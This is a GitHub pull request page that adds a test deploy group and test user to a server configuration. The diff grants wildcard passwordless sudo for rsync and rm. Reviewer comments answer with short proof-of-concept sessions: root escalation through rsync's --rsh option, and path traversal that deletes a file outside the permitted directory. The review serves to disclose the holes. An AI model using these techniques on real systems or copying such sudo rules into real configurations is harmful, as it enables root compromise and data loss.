Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

create new deploy test user for T12486 #3897

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open

create new deploy test user for T12486 #3897

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
9 commits
Select commit Hold shift + click to select a range
9642611
create new deploy test user for T12486
Reception123 Aug 18, 2024
bad649d
Update test151.yaml
Reception123 Aug 18, 2024
7cd7c3d
Update data.yaml
Reception123 Aug 18, 2024
73edcfd
Update data.yaml
Reception123 Aug 18, 2024
d1948b7
Update data.yaml
Reception123 Aug 18, 2024
6b08e54
Update data.yaml
Reception123 Aug 18, 2024
2ac3e02
nano is dangerous
Reception123 Aug 18, 2024
119e38e
Update data.yaml
Reception123 Aug 18, 2024
e45a214
Update data.yaml
Reception123 Aug 18, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions hieradata/hosts/test151.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ users::groups:
- mediawiki-admins
- mediawiki-roots
- mediawiki-test-admins
- mediawiki-test-deploy-users

contactgroups: ['infra', 'mediawiki']

Expand Down
17 changes: 16 additions & 1 deletion modules/users/data/data.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,14 @@ groups:
'ALL = (ALL) NOPASSWD: /usr/sbin/service mariadb status',
'ALL = (ALL) NOPASSWD: /usr/bin/puppet *',
'ALL = (ALL) NOPASSWD: /bin/journalctl *']

mediawiki-test-deploy-users:
gid: 2009
description: ability to deploy changes on the MediaWiki test server
members: []
privileges: ['ALL = (ALL) NOPASSWD: /usr/sbin/service mwdeploy *',
'ALL = (ALL) NOPASSWD: /usr/bin/rsync *',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can escalate to root with this:

> sudo grep nobody /etc/sudoers
nobody ALL = (ALL) NOPASSWD: /usr/bin/rsync *
> sudo -Hu nobody sh
sh-5.2$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
sh-5.2$ printf '#!/bin/sh\nid >&2' > /tmp/shenanigans
sh-5.2$ chmod +x /tmp/shenanigans
sh-5.2$ sudo rsync --rsh=/tmp/shenanigans awawa:owo /
uid=0(root) gid=0(root) groups=0(root)
rsync: connection unexpectedly closed (0 bytes received so far) [Receiver]
rsync error: error in rsync protocol data stream (code 12) at io.c(231) [Receiver=3.3.0]

'ALL = (www-data) NOPASSWD: /bin/sudoedit /srv/mediawiki-staging/*',
'ALL = (www-data) NOPASSWD: /bin/rm /srv/mediawiki-staging/*']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more. 

> sudo grep nobody /etc/sudoers
nobody ALL = (root) NOPASSWD: /bin/rm /tmp/poc/mediawiki-staging/*
> tree /tmp/poc
/tmp/poc
├── mediawiki
│   └── LocalSettings.php
├── mediawiki-staging
│   └── LocalSettings.php
└── something-important

3 directories, 3 files
> sudo -Hu nobody sh
sh-5.2$ sudo rm /tmp/poc/mediawiki/LocalSettings.php

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

[sudo] password for nobody: 
sudo: no password was provided
sudo: a password is required
sh-5.2$ sudo rm /tmp/poc/mediawiki-staging/../mediawiki/LocalSettings.php
sh-5.2$ ls /tmp/poc/mediawiki
sh-5.2$

users:
johnflewis:
ensure: absent
Expand Down Expand Up @@ -194,3 +201,11 @@ users:
name: evalprime
realname: EvalPrime
ssh_keys: [ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII58/9ujLHNt1p1YOlHJr7Y2D7laEkYzQSOKcAhF8r1Q]
testuser:
ensure: present
uid: 3000
name: Test User
realname: Test User (user for testing access)
ssh_keys:
- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIApGU+6cUDu6gLhJY547Ge/2r4FU382qFx6wVGHN/+FP
- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMGnrVrhB1ZfXRouXhLzjsWjx3dTVYxxvsIzTD2JJg/ reception
Loading